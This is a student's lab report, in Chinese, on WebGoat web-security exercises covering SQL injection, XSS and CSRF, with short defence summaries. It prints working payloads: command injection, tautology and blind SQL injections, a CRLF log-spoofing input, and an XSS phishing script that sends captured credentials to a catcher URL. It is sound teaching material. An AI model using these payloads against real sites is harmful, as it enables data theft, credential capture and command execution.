20154302薛师凡 Exp9 Web安全基础
Exp9 Web安全基础实践 20154302薛师凡
一、基础问题回答
1.SQL注入攻击原理,如何防御
原理:攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击或对数据库增删查改的基本操作。
防御:限制SQL字符串连接的配置文件;指定错误返回页面;替换或删除单引号;去除代码中的敏感信息;封装数据信息等。
XSS攻击的原理,如何防御
原理:恶意攻击者通过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
防御:对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。
CSRF攻击原理,如何防御
原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。
二、实践过程
1.webgoat
先确定webgoat安装包放在home目录下
java -jar webgoat-container-7.1-exec.jar开启webgoat
打开浏览器,输入localhost:8080/WebGoat,选择默认的账号密码即可登陆
(具体调试过程参照了杨正晖同学的博客,非常全面)
2.SQL练习
Command Injection
题目要求能够在目标主机上执行系统命令,可以通过对源代码进行修改来达到目的
,右键Inspect Element
查找BackDoors.help,在旁边加上修改源代码,在BackDoors.help旁边加上"& netstat -an & ipconfig"
下拉菜单中能看到修改后的值并view,可以看到命令被执行,出现系统网络连接情况
Numeric SQL Injection
题目要求通过注入SQL字符串的方式查看所有的天气数据
类似上一个操作,修改页面的源代码,只要加上一个1=1这种永真式即可达到我们的目的,在101旁边加上or 1=1
选中Columbia,Go,可以看到所有天气数据
Log Spoofing
我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入xsf%0d%0aLogin Succeeded for username: admin
XPATH Injection
题目要求使用帐户Mik/Test123,目标是试着去查看其他员工的数据
构造永真式
user name:xsf' or 1=1 or 'a'='a
password:xsf
成功
String SQL Injection
利用SQL注入让所有的信用卡号都显示出来。
基于select语句构造SQL注入字符串,在文本框中输入' or 1=1 --
成功,所有用户信息都被显示出来
String SQLInjection
目标:使用SQL注入作为老板(“Neville”)登录,并使用所有功能
第一次作为老板,在password中输入永真式,登录,发现失败了,经过查看源代码,找到原因为:password最大长度不够,于是再源代码中修改最大长度为20.
输入永真式' or 1=1 --,其中--是将后面的代码注释掉,就能够登录成功了
Database Backdoors
注入语句101; update employee set salary=10000,将工资涨到了10000
Blind Numeric SQL Injection
目标是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,只会反馈两种信息:帐号有效或无效
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );查看pin数值是否大于2000
逐步缩小范围,最后确定数值2364
3.XSS
Phishing with XSS
题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。
使用XSS和HTML插入制作一个钓鱼网站,将其输在search框中,代码如下
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + d ocument.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
成功
Reflected XSS Attacks
当输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看
如果我们将带有攻击性的URL作为输入源,比如,就会弹出对话框
4.CSRF
Cross Site Request Forgery
要求是让我们发送一个恶意URL请求的图片给用户。看了hint后知道是在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出来。
查看Screen和menu的值
在信息框内输入
(这句话的意思是将Funds即金钱转到自己的账户里),
点击提交后就执行了这个代码,被攻击者就会给你转钱,成功
CSRF Prompt By-Pass
发个邮件给newsgroup,包含两个恶意请求:一个是转钱的金额,另一个是确认转账。
在信息框输入
提交之后,攻击成功
三、实践总结
本学期的课程告一段落,非常欣慰本学期能够跟随老师的脚步在网络攻防的乐园中畅游,收益颇丰同时也看到了自己的诸多不足,课程虽然结束了,但以往的实验还有许多问题需要解决,我一定尽快开始复习。